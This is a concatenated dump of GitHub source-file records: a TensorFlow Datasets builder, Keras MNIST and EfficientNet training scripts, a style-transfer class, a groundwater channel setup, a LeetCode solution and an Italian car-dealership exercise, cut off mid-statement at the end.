dl_manager.download_and_extract(\n 'https://drive.google.com/uc?export=download&'\n 'id=1nEs-JlAQv6xpuSIqahTKK68TgK37GirP'\n )\n\n # There are no predefined train/val/test split for this dataset.\n # (smartwatch_gestures): Returns the Dict['train', Iterator[Key, Example]].\n return {\n 'train': self._generate_examples(path / 'gestures-dataset'),\n }\n\n def _generate_examples(self, path):\n \"\"\"Yields examples.\"\"\"\n\n pd = tfds.core.lazy_imports.pandas\n\n for f in path.glob('*/*/*.txt'):\n table = pd.read_table(\n f,\n sep=' ',\n header=None,\n names=[\n 'time_millis',\n 'time_nanos',\n 'time_event',\n 'accel_x',\n 'accel_y',\n 'accel_z',\n ],\n )\n\n # Create a unique key for each recorded gesture.\n participant_numstr = f.parent.parent.name[1:] # Drop the \"U\".\n gesture_numstr = f.parent.name\n attempt_numstr = f.stem\n k = int(''.join([participant_numstr, gesture_numstr, attempt_numstr]))\n\n yield k, {\n 'features': {\n 'time_millis': table['time_millis'].to_numpy(),\n 'time_nanos': table['time_nanos'].to_numpy(),\n 'time_event': table['time_event'].to_numpy(),\n 'accel_x': table['accel_x'].to_numpy(),\n 'accel_y': table['accel_y'].to_numpy(),\n 'accel_z': table['accel_z'].to_numpy(),\n },\n 'participant': int(participant_numstr),\n 'attempt': int(attempt_numstr),\n 'gesture': int(gesture_numstr) - 1,\n }\n","repo_name":"tensorflow/datasets","sub_path":"tensorflow_datasets/datasets/smartwatch_gestures/smartwatch_gestures_dataset_builder.py","file_name":"smartwatch_gestures_dataset_builder.py","file_ext":"py","file_size_in_byte":2883,"program_lang":"python","lang":"en","doc_type":"code","stars":4045,"dataset":"github-code","pt":"70"} +{"seq_id":"12773464110","text":"# -*- coding: utf-8 -*-\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport matplotlib.image as mpimg\r\n\r\nfrom keras.utils.np_utils import to_categorical # convert to one-hot-encoding\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPool2D\r\nfrom keras.optimizers import RMSprop\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom keras.callbacks import ReduceLROnPlateau\r\n\r\nfrom sklearn.cross_validation import train_test_split\r\n\r\nnp.random.seed(7)\r\n\r\nsns.set()\r\n\r\ntrain = pd.read_csv('train.csv')\r\ntest = pd.read_csv('test.csv')\r\n\r\ny_train = train['label']\r\nx_train= train.drop('label', axis = 1)\r\ndel train\r\n\r\nsns.countplot(y_train)\r\n\r\nx_train = x_train/255.\r\ntest = test/255.\r\n\r\nx_train = x_train.values.reshape(-1,28,28,1)\r\ntest = test.values.reshape(-1,28,28,1)\r\n\r\ny_train = to_categorical(y_train, num_classes=10)\r\nrandom_seed = 7\r\nx_train, x_val, y_train, y_val = train_test_split(x_train, y_train, test_size = 0.1, random_state = random_seed)\r\n\r\nfrom keras import backend as K\r\nK.set_image_dim_ordering('tf')\r\n\r\nmodel = Sequential()\r\n\r\nmodel.add(Conv2D(filters = 32, kernel_size = (5,5),padding = 'Same', \r\n activation ='relu', input_shape = (28,28,1)))\r\nmodel.add(Conv2D(filters = 32, kernel_size = (5,5),padding = 'Same', \r\n activation ='relu'))\r\nmodel.add(MaxPool2D(pool_size=(2,2)))\r\nmodel.add(Dropout(0.25))\r\n\r\n\r\nmodel.add(Conv2D(filters = 64, kernel_size = (3,3),padding = 'Same', \r\n activation ='relu'))\r\nmodel.add(Conv2D(filters = 64, kernel_size = (3,3),padding = 'Same', \r\n activation ='relu'))\r\nmodel.add(MaxPool2D(pool_size=(2,2), strides=(2,2)))\r\nmodel.add(Dropout(0.25))\r\n\r\n\r\nmodel.add(Flatten())\r\nmodel.add(Dense(256, activation = \"relu\"))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(10, activation = \"softmax\"))\r\n\r\noptimizer = RMSprop(lr=0.001, rho=0.9, epsilon=1e-08, decay=0.0)\r\nmodel.compile(optimizer,\"categorical_crossentropy\", [\"acc\"])\r\n\r\nlearning_rate_reduction = ReduceLROnPlateau(monitor='val_acc', patience=3, verbose=1, factor=0.5, min_lr=0.00001)\r\nepochs = 1\r\nbatch_size = 86\r\n\r\ndatagen = ImageDataGenerator(\r\n featurewise_center=False,\r\n samplewise_center=False,\r\n featurewise_std_normalization=False,\r\n samplewise_std_normalization=False,\r\n zca_whitening=False,\r\n rotation_range=10,\r\n zoom_range = 0.1,\r\n width_shift_range=0.1,\r\n height_shift_range=0.1,\r\n horizontal_flip=False,\r\n vertical_flip=False)\r\n\r\n\r\ndatagen.fit(x_train)\r\n\r\nhistory = model.fit_generator(datagen.flow(x_train,x_train, batch_size=batch_size),\r\n epochs = epochs, validation_data = (x_val,x_val),\r\n verbose = 2, steps_per_epoch=x_train.shape[0] // batch_size\r\n , callbacks=[learning_rate_reduction])\r\n\r\nresults = model.predict(test)\r\nresults = np.argmax(results,axis = 1)\r\nresults = pd.Series(results,name=\"Label\")\r\n\r\nsubmission = pd.concat([pd.Series(range(1,28001),name = \"ImageId\"),results],axis = 1)\r\n\r\nsubmission.to_csv(\"submission.csv\",index=False)\r\n\r\n","repo_name":"JoffreyDcu/kaggle","sub_path":"MNIST/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":3208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"18418068802","text":"import os\n\n\ndef prepare_channel_data_for_model(ModelBuilderObject,\n start_irrigation,\n date_index,\n Camp_riv_cells):\n\n MBO = ModelBuilderObject\n channel_poly = MBO.read_poly(\"Channel_Clip.shp\",\n path=os.path.join(MBO.data_folder, \"SW\") + os.path.sep)\n\n MBO.map_polyline_to_grid(channel_poly)\n\n MBO.parameters.create_model_parameter('chndrp', value=0.01)\n MBO.parameters.parameter_options('chndrp',\n PARTRANS='log',\n PARCHGLIM='factor',\n PARLBND=0.001,\n PARUBND=0.1,\n PARGP='channl',\n SCALE=1,\n OFFSET=0)\n MBO.parameters.create_model_parameter('kv_ch', value=5E-3)\n MBO.parameters.parameter_options('kv_ch',\n PARTRANS='log',\n PARCHGLIM='factor',\n PARLBND=1E-8,\n PARUBND=20,\n PARGP='channl',\n SCALE=1,\n OFFSET=0)\n\n simple_channel = []\n channel_width_avg = 5.0 # m\n channel_bed_thickness = 0.10 # m\n for channel_cell in MBO.polyline_mapped['Channel_Clip_model.shp']:\n row = channel_cell[0][0]\n col = channel_cell[0][1]\n if MBO.model_mesh3D[1][0][row][col] == -1:\n continue\n if (row, col) in Camp_riv_cells:\n continue\n channel_stage = MBO.model_mesh3D[0][0][row][col]\n channel_bed = MBO.model_mesh3D[0][0][row][col] - MBO.parameters.param['chndrp']['PARVAL1']\n channel_cond = channel_cell[1] * channel_width_avg * \\\n MBO.parameters.param['kv_ch']['PARVAL1'] / channel_bed_thickness\n simple_channel += [[0, row, col, channel_stage, channel_cond, channel_bed]]\n\n channel_start = findInterval(start_irrigation, date_index)\n\n channel = {}\n channel[channel_start + 1] = simple_channel\n","repo_name":"daniel-partington/CampaspeModel","sub_path":"CampaspeModel/build_common/channels.py","file_name":"channels.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"70586606306","text":"import tensorflow as tf\nimport numpy as np\nfrom keras.applications import vgg19\nfrom keras.layers import Input, Lambda, Conv2D, ReLU, UpSampling2D\nfrom keras.models import Model, load_model\nfrom keras import optimizers\nfrom keras import backend as K\n\nfrom adain_transfer import AdainTransfer\n\nclass FastAdainTransfer(AdainTransfer):\n def __init__(self, base_model_fn=vgg19.VGG19, preprocess=vgg19.preprocess_input, \n out_layer_name=['block1_conv1', 'block2_conv1', 'block3_conv1', 'block4_conv1'], \n inverse_weight=None):\n \"\"\"\n Args:\n base_model_fn(function): model function used for build base model.\n preprocess(function): preprocess function like: (lambda x: (x/127.5. - 1.)).\n out_layer_name(str): output layer name of base model for calculation.\n inverse_weight(str): h5 model file path.\n \"\"\"\n self.inverse_net = self._build_inverse_net()\n if inverse_weight != None:\n self.inverse_net.load_weights(inverse_weight)\n \n super().__init__(base_model_fn=base_model_fn, preprocess=preprocess, \n out_layer_name=out_layer_name)\n \n def _build_transfer_model(self, base_model_fn, preprocess, out_layer_name):\n super()._build_transfer_model(base_model_fn, preprocess, out_layer_name)\n generated_img = self.inverse_net(self.encoder.outputs[-1])\n self.predict_model = Model(self.encoder.inputs, generated_img)\n\n def _build_inverse_net(self):\n def reflectpadding(x):\n x = tf.pad(x, [[0, 0], [1, 1], [1, 1], [0, 0]], mode='REFLECT')\n return x\n\n def conv_block(x, filters, kernel_size=3, activation='relu'):\n x = Lambda(reflectpadding)(x)\n x = Conv2D(filters, kernel_size, activation=activation, padding='valid')(x)\n return x\n\n inputs = Input(shape=[None, None, 512])\n x = conv_block(inputs, 256)\n x = UpSampling2D()(x)\n\n x = conv_block(x, 256)\n x = conv_block(x, 256)\n x = conv_block(x, 256)\n x = conv_block(x, 128)\n x = UpSampling2D()(x)\n\n x = conv_block(x, 128)\n x = conv_block(x, 64)\n x = UpSampling2D()(x)\n\n x = conv_block(x, 64)\n x = conv_block(x, 3, activation=None)\n\n return Model(inputs, x)\n \n def predict(self, style, content):\n \"\"\"\n generate transfered image.\n\n Args:\n style(numpy array): input style rgb image.\n content(numpy array): input content rgb image.\n\n Returns:\n numpy array: rgb transfered image of uint8.\n \"\"\"\n style = np.expand_dims(style, axis=0)\n content = np.expand_dims(content, axis=0)\n img = self.predict_model.predict([content, style])\n img = self.roundimg(img)\n return img\n \n def compile_inverse_net(self, lr=1e-2, lambd=0.5):\n \"\"\"\n build training model.\n\n Args:\n lr(float): learning rate.\n lambd(float): content style trade-off.\n\n Returns:\n keras model for training.\n \"\"\"\n phi_s_t = self.encoder.outputs\n generated_img = self.inverse_net(phi_s_t[-1])\n phi_gt = self.base_model(generated_img)\n loss = Lambda(self._calc_loss, arguments={'lambd': lambd})\\\n ([*phi_s_t, *phi_gt])\n \n train_model = Model(phi_s_t, loss)\n opt = optimizers.Adam(lr=lr)\n train_model.compile(opt, loss=(lambda y_true, y_pred: y_pred))\n return train_model\n","repo_name":"crj0322/style-transfer","sub_path":"fast_adain_transfer.py","file_name":"fast_adain_transfer.py","file_ext":"py","file_size_in_byte":3538,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"74386912227","text":"# -*- coding: utf-8 -*-\nimport multiprocessing\nimport os\nimport shutil\nfrom glob import glob\n\nimport numpy as np\nfrom keras import backend\nfrom keras.callbacks import ReduceLROnPlateau\nfrom keras.callbacks import TensorBoard, Callback\nfrom keras.layers import Dense, GlobalAveragePooling2D\nfrom keras.models import Model\nfrom keras.optimizers import Adam, RMSprop\n\nfrom data_gen_label import data_flow\nfrom warmup_cosine_decay_scheduler import WarmUpCosineDecayScheduler\nimport efficientnet.keras as efn\nbackend.set_image_data_format('channels_last')\n\n\ndef model_fn(FLAGS, objective, optimizer, metrics):\n base_model = efn.EfficientNetB3(include_top=False,\n shape=(FLAGS.input_size, FLAGS.input_size, 3),\n n_class=FLAGS.num_classes, )\n\n x = base_model.output\n x = GlobalAveragePooling2D(name='avg_pool')(x)\n predictions = Dense(FLAGS.num_classes, activation='softmax')(x)\n model = Model(inputs=base_model.input, outputs=predictions)\n model.compile(loss=objective, optimizer=optimizer, metrics=metrics)\n model.summary( )\n return model\n\n\nclass LossHistory(Callback):\n def __init__(self, FLAGS):\n super(LossHistory, self).__init__( )\n self.FLAGS = FLAGS\n\n def on_train_begin(self, logs={}):\n self.losses = []\n self.val_losses = []\n\n def on_epoch_end(self, epoch, logs={}):\n self.losses.append(logs.get('loss'))\n self.val_losses.append(logs.get('val_loss'))\n\n save_path = os.path.join(self.FLAGS.train_local, 'weights_%03d_%.4f.h5' % (epoch, logs.get('val_acc')))\n self.model.save_weights(save_path)\n if self.FLAGS.train_url.startswith('s3://'):\n save_url = os.path.join(self.FLAGS.train_url, 'weights_%03d_%.4f.h5' % (epoch, logs.get('val_acc')))\n shutil.copyfile(save_path, save_url)\n print('save weights file', save_path)\n\n if self.FLAGS.keep_weights_file_num > -1:\n weights_files = glob(os.path.join(self.FLAGS.train_local, '*.h5'))\n if len(weights_files) >= self.FLAGS.keep_weights_file_num:\n weights_files.sort(key=lambda file_name: os.stat(file_name).st_ctime, reverse=True)\n\n\ndef train_model(FLAGS):\n preprocess_input = efn.preprocess_input\n\n train_sequence, validation_sequence = data_flow(FLAGS.data_local, FLAGS.batch_size,\n FLAGS.num_classes, FLAGS.input_size, preprocess_input)\n\n optimizer = Adam(lr=FLAGS.learning_rate)\n\n objective = 'categorical_crossentropy'\n metrics = ['accuracy']\n\n model = model_fn(FLAGS, objective, optimizer, metrics)\n\n if FLAGS.restore_model_path != '' and os.path.exists(FLAGS.restore_model_path):\n if FLAGS.restore_model_path.startswith('s3://'):\n restore_model_name = FLAGS.restore_model_path.rsplit('/', 1)[1]\n shutil.copyfile(FLAGS.restore_model_path, '/cache/tmp/' + restore_model_name)\n model.load_weights('/cache/tmp/' + restore_model_name)\n os.remove('/cache/tmp/' + restore_model_name)\n else:\n model.load_weights(FLAGS.restore_model_path)\n print(\"LOAD OK!!!\")\n if not os.path.exists(FLAGS.train_local):\n os.makedirs(FLAGS.train_local)\n\n log_local = '../log_file/'\n\n\n tensorBoard = TensorBoard(log_dir=log_local)\n # reduce_lr = ReduceLROnPlateau(monitor='val_loss', factor=0.5, patience=5, mode='auto')\n\n sample_count = len(train_sequence) * FLAGS.batch_size\n epochs = FLAGS.max_epochs\n warmup_epoch = 5\n batch_size = FLAGS.batch_size\n learning_rate_base = FLAGS.learning_rate\n total_steps = int(epochs * sample_count / batch_size)\n warmup_steps = int(warmup_epoch * sample_count / batch_size)\n\n warm_up_lr = WarmUpCosineDecayScheduler(learning_rate_base=learning_rate_base,\n total_steps=total_steps,\n warmup_learning_rate=0,\n warmup_steps=warmup_steps,\n hold_base_rate_steps=0,\n )\n\n history = LossHistory(FLAGS)\n model.fit_generator(\n train_sequence,\n steps_per_epoch=len(train_sequence),\n epochs=FLAGS.max_epochs,\n verbose=1,\n callbacks=[history, tensorBoard, warm_up_lr],\n validation_data=validation_sequence,\n max_queue_size=10,\n workers=int(multiprocessing.cpu_count( ) * 0.7),\n use_multiprocessing=True,\n shuffle=True\n )\n\n print('training done!')\n\n if FLAGS.deploy_script_path != '':\n from save_model import save_pb_model\n save_pb_model(FLAGS, model)\n\n if FLAGS.test_data_url != '':\n print('test dataset predicting...')\n from eval import load_test_data\n img_names, test_data, test_labels = load_test_data(FLAGS)\n test_data = preprocess_input(test_data)\n predictions = model.predict(test_data, verbose=0)\n\n right_count = 0\n for index, pred in enumerate(predictions):\n predict_label = np.argmax(pred, axis=0)\n test_label = test_labels[index]\n if predict_label == test_label:\n right_count += 1\n accuracy = right_count / len(img_names)\n print('accuracy: %0.4f' % accuracy)\n metric_file_name = os.path.join(FLAGS.train_local, 'metric.json')\n metric_file_content = '{\"total_metric\": {\"total_metric_values\": {\"accuracy\": %0.4f}}}' % accuracy\n with open(metric_file_name, \"w\") as f:\n f.write(metric_file_content + '\\n')\n print('end')\n","repo_name":"Yangget/garbage_classify","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5669,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"70"} +{"seq_id":"31312099606","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def pairSum(self, head: Optional[ListNode]) -> int:\n \"\"\"\n twin nodes : i-th node and n-1-i th node\n \n 4 9 6 4 6 8 0 \n 0 1 2 3 4 5 6\n brute force approach: save it in an array then access the twins through index\n \"\"\"\n # find the length of the linked list\n length = 0\n traverse = head\n while traverse:\n length += 1\n traverse = traverse.next\n # print(length)\n prev = None\n curr = head\n idx = 0\n while idx < length:\n if idx == (length//2):\n prev.next = None\n if idx >= (length//2):\n nxt = curr.next\n curr.next = prev\n prev = curr\n curr = nxt\n else:\n prev = curr\n curr = curr.next\n idx += 1\n # print(head, prev)\n # prev is the start of the end part \n # head is the start of the first part \n \n max_sum = 0\n while head and prev:\n max_sum = max(max_sum, (head.val+prev.val))\n head = head.next\n prev = prev.next\n return max_sum \n \n \n \n \n \n \n ","repo_name":"ruth987/Competitve-programming-A2SV","sub_path":"2130-maximum-twin-sum-of-a-linked-list/2130-maximum-twin-sum-of-a-linked-list.py","file_name":"2130-maximum-twin-sum-of-a-linked-list.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"22773781366","text":"#4C Bracco Mattia - Classe automezzi\n\nimport os\n\nMIN = 1\nMAX = 5\n#------------------------------------------------------------------------------------------------------------------------------------\nclass Autoveicolo():\n\t#costruttore\n\tdef __init__(self, targa=\"\", casa=\"\", modello=\"\"):\n\t\tself.setTarga(targa)\n\t\tself.setCasa(casa)\n\t\tself.setModello(modello)\n\t\n\t#setter\n\tdef setTarga(self, val):\n\t\tself.__targa = val\n\t\t\n\tdef setCasa(self, val):\n\t\tself.__casa = val\n\t\n\tdef setModello(self, val):\n\t\tself.__modello = val\n\t\t\n\t#getter\n\tdef getTarga(self):\n\t\treturn self.__targa\n\t\n\tdef getCasa(self):\n\t\treturn self.__casa\n\t\n\tdef getModello(self):\n\t\treturn self.__modello\n\t\t\n\t#str\n\tdef dettagli(self):\n\t\tprint('Targa: {0} Casa automobilistica: {1} Modello: {2}'.format(self.getTarga(), self.getCasa(), self.getModello()))\n#------------------------------------------------------------------------------------------------------------------------------------\nclass VeicoloPrivato(Autoveicolo):\n\t#costruttore\n\tdef __init__(self, targa, casa, modello, numeroPorte=\"\", numeroPosti=\"\"):\n\t\tsuper().__init__(targa, casa, modello)\n\t\tself.setNumeroPorte(numeroPorte)\n\t\tself.setNumeroPosti(numeroPosti)\n\t\n\t#setter\n\tdef setNumeroPorte(self, val):\n\t\tself.__numeroPorte = val\n\t\n\tdef setNumeroPosti(self, val):\n\t\tself.__numeroPosti = val\n\t\t\n\t#getter\n\tdef getNumeroPorte(self):\n\t\treturn self.__numeroPorte\n\t\n\tdef getNumeroPosti(self):\n\t\treturn self.__numeroPosti\n\t\t\n\t#str\n\tdef dettagli(self):\n\t\tprint('VEICOLO PRIVATO: Targa: {0} Casa: {1} Modello: {2} Porte: {3} Posti: {4}'.format(self.getTarga(), self.getCasa(), self.getModello(), self.getNumeroPorte(), self.getNumeroPosti()))\n#------------------------------------------------------------------------------------------------------------------------------------\nclass VeicoloCommerciale(Autoveicolo):\n\t#costruttore\n\tdef __init__(self, targa, casa, modello, pesoVuoto=\"\", pesoCarico=\"\", articolato=False):\n\t\tsuper().__init__(targa, casa, modello)\n\t\tself.setPesoVuoto(pesoVuoto)\n\t\tself.setPesoCarico(pesoCarico)\n\t\tself.setArticolato(articolato)\n\t\n\t#setter\n\tdef setPesoVuoto(self, val):\n\t\tself.__pesoVuoto = val\n\t\n\tdef setPesoCarico(self, val):\n\t\tself.__pesoCarico = val\n\t\t\n\tdef setArticolato(self, val):\n\t\tself.__articolato = val\n\t\t\n\t#getter\n\tdef getPesoVuoto(self):\n\t\treturn self.__pesoVuoto\n\t\n\tdef getPesoCarico(self):\n\t\treturn self.__pesoCarico\n\t\t\n\tdef getArticolato(self):\n\t\treturn self.__articolato\n\t\n\t#str\n\tdef dettagli(self):\n\t\tprint('VEICOLO COMMERCIALE: Targa: {0} Casa: {1} Modello: {2} Peso vuoto: {3} Peso carico: {4} Articolato {5}'.format(self.getTarga(), self.getCasa(), self.getModello(), self.getPesoVuoto(), self.getPesoCarico(), self.getArticolato()))\n#------------------------------------------------------------------------------------------------------------------------------------\nclass Concessionaria():\n\t#costruttore\n\tdef __init__(self, nome, lista):\n\t\tself.setNome(nome)\n\t\tself.setLista(lista)\n\t\n\t#setter\n\tdef setNome(self, val):\n\t\tself.__nome = val\n\n\tdef setLista(self, lis):\n\t\tself.__lista = lis\n\t\n\t#getter\n\tdef getNome(self):\n\t\treturn self.__nome\n\t\t\n\tdef getLista(self):\n\t\treturn self.__lis\n\t\n\t#str\n\tdef dettagli(self):\n\t\tprintf('CONCESSIONARIA: {0}'.format(self.getNome()))\n\t\t\n#\t***** COMPRA VEICOLO *****\n\tdef compraVeicolo(self, targa, listaAutoveicoli, listaVeicoliConcessionaria):\n\t\tflag = 0\n\t\t#ciclo per il numero di veicoli\n\t\tn = len(listaAutoveicoli)\n\t\tfor i in range(n):\n\t\t\n\t\t\t#se la targa corrisponde --> compro il veicolo\n\t\t\tif (targa == listaAutoveicoli[i].getTarga()):\n\t\t\t\tlistaVeicoliConcessionaria.append(listaAutoveicoli[i-1])\n\t\t\t\tlistaAutoveicoli.pop(i-1)\n\t\t\t\tflag = 1\n\t\t\t\tprint(\"VEICOLO COMPRATO!\")\n\t\t\t\n\t\t#restituisco il flag\n\t\treturn flag\n\t\t\n#\t***** VENDI VEICOLO *****\n\tdef vendiVeicolo(self, targa, listaVeicoliConcessionaria):\n\t\tflag = 0\n\t\t#ciclo per il numero di veicoli\n\t\tn = len(listaVeicoliConcessionaria)\n\t\tfor i in range(n):\n\t\t\n\t\t\t#se la targa corrisponde --> vendo il veicolo\n\t\t\tif (targa == listaVeicoliConcessionaria[i].getTarga()):\n\t\t\t\tlistaVeicoliConcessionaria.pop(i-1)\n\t\t\t\tflag = 1\n\t\t\t\tprint(\"VEICOLO VENDUTO!\")\n\t\t\t\n\t\t#restituisco il flag\n\t\treturn flag\n\t\t\n# ***** STAMPA VEICOLI *****\n\tdef stampaVeicoli(self, listaVeicoliConcessionaria, listaAutoveicoli):\n\t\tprint(\" ____________________________ \")\n\t\tprint(\"| |\")\n\t\tprint(\"| VEICOLI CONCESSIONARIA |\")\n\t\tprint(\"|____________________________|\")\n\t\tn = len(listaVeicoliConcessionaria)\n\t\tfor i in range(n):\n\t\t\tprint(listaVeicoliConcessionaria[i].dettagli())\n\t\t\n\t\tprint(\" ____________________________ \")\n\t\tprint(\"| |\")\n\t\tprint(\"| VEICOLI NUOVI |\")\n\t\tprint(\"|____________________________|\")\n\t\tn = len(listaAutoveicoli)\n\t\tfor i in range(n):\n\t\t\tprint(listaAutoveicoli[i].dettagli())\t\n#------------------------------------------------------------------------------------------------------------------------------------\ndef insNVeicoli():\n\t#chiedo quanti veicoli registrare e controllo il valore\n\tval = input(\"Quanti veicoli di questo tipo si vogliono registrare? (\" + str(MIN) + \"-\" + str(MAX) + \"): \")\n\twhile (not val.isnumeric() or int(val) < MIN or int(val) > MAX):\n\t\tval = input(\"ERRORE! Quanti veicoli di questo si volgiono registrare? (\" + str(MIN) + \"-\" + str(MAX) + \"):\")\n\t\n\t#restituisco il valore (intero)\n\treturn int(val)\n#------------------------------------------------------------------------------------------------------------------------------------\ndef insTarga():\n\t#chiedo in input la targa e controllo il formato\n\ttarga = input(\"Inserire la targa: \")\n\twhile (len(targa) != 7 or targa[0].isnumeric() or targa[1].isnumeric() or targa[2].isalpha() or targa[3].isalpha() or targa[4].isalpha() or targa[5].isnumeric() or targa[6].isnumeric()):\n\t\t\ttarga = input(\"ERRORE! (formato targa non valido, es. formato valido AA001AA)\\nInserire la targa del veicolo: \")\n\t\n\t#restituisco il valore (stringa)\n\treturn targa\n#------------------------------------------------------------------------------------------------------------------------------------\ndef insCasa():\n\t#chiedo e controlllo il nome della casa automobilistica\n\tval = input(\"Inserire il nome della casa automobilistica: \")\n\twhile (val.isalnum() and not val.isalpha()) or val.isnumeric() or val.isspace():\n\t\tval = input(\"ERRORE! Inserire il nome della casa automobilistica: \")\n\t\n\t#restituisco il valore (stringa)\n\treturn val\n#------------------------------------------------------------------------------------------------------------------------------------\ndef insModello():\n\t#chiedo e controlllo il nome del modelli\n\tval = input(\"Inserire il modello dell'autoveicolo: \")\n\twhile (val.isalnum() and not val.isalpha()) or val.isnumeric() or val.isspace():\n\t\tval = input(\"ERRORE! Inserire il modello dell'autoveicolo: \")\n\t\n\t#restituisco il valore (stringa)\n\treturn val\n#------------------------------------------------------------------------------------------------------------------------------------\ndef insPeso():\n\t#chiedo e controllo il peso\n\tval = input(\"Inserire il peso: \")\n\twhile (not val.isnumeric() or int(val) < 1000 or int(val) > 10000):\n\t\tval = input(\"ERRORE! Inserire il peso: \")\n\t\n\t#restituisco il valore (intero)\n\treturn int(val)\n#------------------------------------------------------------------------------------------------------------------------------------\ndef insArticolato():\n\t#chiedo e controllo se il veicolo è articolato\n\tval = input(\"Il veicolo è articolato? (S/N): \")\n\twhile (val != 'S' and val != 's' and val != 'n' and val != 'N'):\n\t\tval = input(\"ERRORE! Il veicolo è articolato?? (S/N): \")\n\t#se si --> True\n\tif (val == 's' or val == 'S'):\n\t\tres = True\n\t#se no --> False\n\tif (val == 'n' or val == 'N'):\n\t\tres = False\n\t\n\t#restituisco il valore (boolean)\n\treturn res\n#------------------------------------------------------------------------------------------------------------------------------------\ndef insNPorte():\n\t#chiedo e controllo il numero di porte\n\tval = input(\"Inserire il numero di porte: \")\n\twhile (not val.isnumeric() or int(val) < 3 or int(val) > 5):\n\t\tval = input(\"ERRORE! Inserire il numero di porte: \")\n\t\n\t#restituisco il valore (intero)\n\treturn int(val)\n#------------------------------------------------------------------------------------------------------------------------------------\ndef insNPosti():\n\t#chiedo e controllo il numero di porte\n\tval = input(\"Inserire il numero di posti: \")\n\twhile (not val.isnumeric() or int(val) < 2 or int(val) > 9):\n\t\tval = input(\"ERRORE! Inserire il numero di posti: \")\n\t\n\t#restituisco il valore (intero)\n\treturn int(val)\n#------------------------------------------------------------------------------------------------------------------------------------\ndef insNome():\n\t#chiedo e controlllo il nome della concessionaria\n\tval = input(\"Inserire il nome della concessionaria: \")\n\twhile (val.isalnum() and not val.isalpha()) or val.isnumeric() or val.isspace():\n\t\tval = input(\"ERRORE! Inserire il nome della concessionaria: \")\n\t\n\t#restituisco il valore (stringa)\n\treturn val\n#------------------------------------------------------------------------------------------------------------------------------------\t\nos.system(\"clear\")\nlistaAutoveicoli = []\nlistaVeicoliConcessionaria = []\n\n#chiedo quanti veicoli registrare\nprint(\"veicoli commerciali\")\nN_VEICOLI_COMMERCIALI = insNVeicoli()\nprint(\"veicoli privati\")\nN_VEICOLI_PRIVATI = insNVeicoli()\nos.system(\"clear\")\n\n#registro i VEICOLI COMMERCIALI\nfor i in range(N_VEICOLI_COMMERCIALI):\n\tprint(\" ____________________________ \")\n\tprint(\"| |\")\n\tprint(\"| VEICOLO COMMERCIALE |\")\n\tprint(\"|____________________________|\")\n\ttarga = insTarga()\n\tcasa = insCasa()\n\tmodello = insModello()\n\tprint(\"peso veicolo vuoto\")\n\tpesoVuoto = insPeso()\n\tprint(\"peso veicolo carico\")\n\tpesoCarico = insPeso()\n\tarticolato = insArticolato()\n\t\n\t#creo il veicolo\n\tnuovoVeicolo = VeicoloCommerciale (targa, casa, modello, pesoVuoto, pesoCarico, articolato)\n\t\n\t#lo aggiungo alla lista\n\tlistaAutoveicoli.append(nuovoVeicolo)\n\t\n\t#pulisco lo schermo\n\tos.system(\"clear\")\n\t\n#registro i VEICOLI PRIVATI\nfor i in range(N_VEICOLI_PRIVATI):\n\tprint(\" ____________________________ \")\n\tprint(\"| |\")\n\tprint(\"| VEICOLO PRIVATO |\")\n\tprint(\"|____________________________|\")\n\ttarga = insTarga()\n\tcasa = insCasa()\n\tmodello = insModello()\n\tporte = insNPorte()\n\tposti = insNPosti()\n\t\n\t#creo il veicolo\n\tnuovoVeicolo = VeicoloPrivato (targa, casa, modello, porte, posti)\n\t\n\t#lo aggiungo alla lista\n\tlistaAutoveicoli.append(nuovoVeicolo)\n\t\n\t#pulisco lo schermo\n\tos.system(\"clear\")\n\n#CONCESSIONARIA\nnome = insNome()\nmiaConcessionaria = Concessionaria (nome, listaVeicoliConcessionaria)\n\n#ciclo finchè l'utente non decide di uscire\nuscita = 0\nwhile uscita == 0:\n\tprint(\" ____________________________ \")\n\tprint(\"| |\")\n\tprint(\"| MENÙ DELLE OPZIONI |\")\n\tprint(\"|____________________________|\")\n\tprint(\"| |\")\n\tprint(\"|1- COMPRA VEICOLO |\")\n\tprint(\"|2- VENDI VEICOLO |\")\n\tprint(\"|3- STAMPA VEICOLI |\")\n\tprint(\"|4- EXIT |\")\n\tprint(\"|____________________________|\")\t\n\topzione = input(\"\\nScegliere una delle opzioni: \")\n\t\n\t#CONTROLLO OPZIONE INSERITA\n\twhile not opzione.isnumeric() or opzione.isspace() or int(opzione) < 1 or int(opzione) > 4:\n\t\topzione = input(\"ERRORE! Scegliere una delle opzioni: \")\n\topzione = int(opzione) #casting effettuato dopo il while in modo da evitare errori\n\tos.system(\"clear\")\n\t\n\t#OPZIONE 1 --> COMPRA UN VEICOLO\n\tif opzione == 1:\n\t\t#chiedo la targa di un veicolo\n\t\ttargaIns = insTarga()\n\t\t\n\t\t#richiamo il metodo per comprare il veicolo\n\t\tflag = miaConcessionaria.compraVeicolo(targa, listaAutoveicoli, listaVeicoliConcessionaria)\n\t\n\t\t#se flag rimane a 0 --> veicolo non trovato\n\t\tif flag == 0:\n\t\t\tprint(\"Veicolo non trovato!\")\n\t\n\t\t#PULIZIA DELLO SCHERMO\n\t\tinput(\"Premi INVIO per continuare...\")\n\t\tos.system(\"clear\")\n\t\n\t#OPZIONE 2 --> VENDO UN VEICOLO\n\tif opzione == 2:\n\t\t#chiedo la targa di un veicolo\n\t\ttargaIns = insTarga()\n\t\t\n\t\t#richiamo il metodo per vendere il veicolo\n\t\tflag = 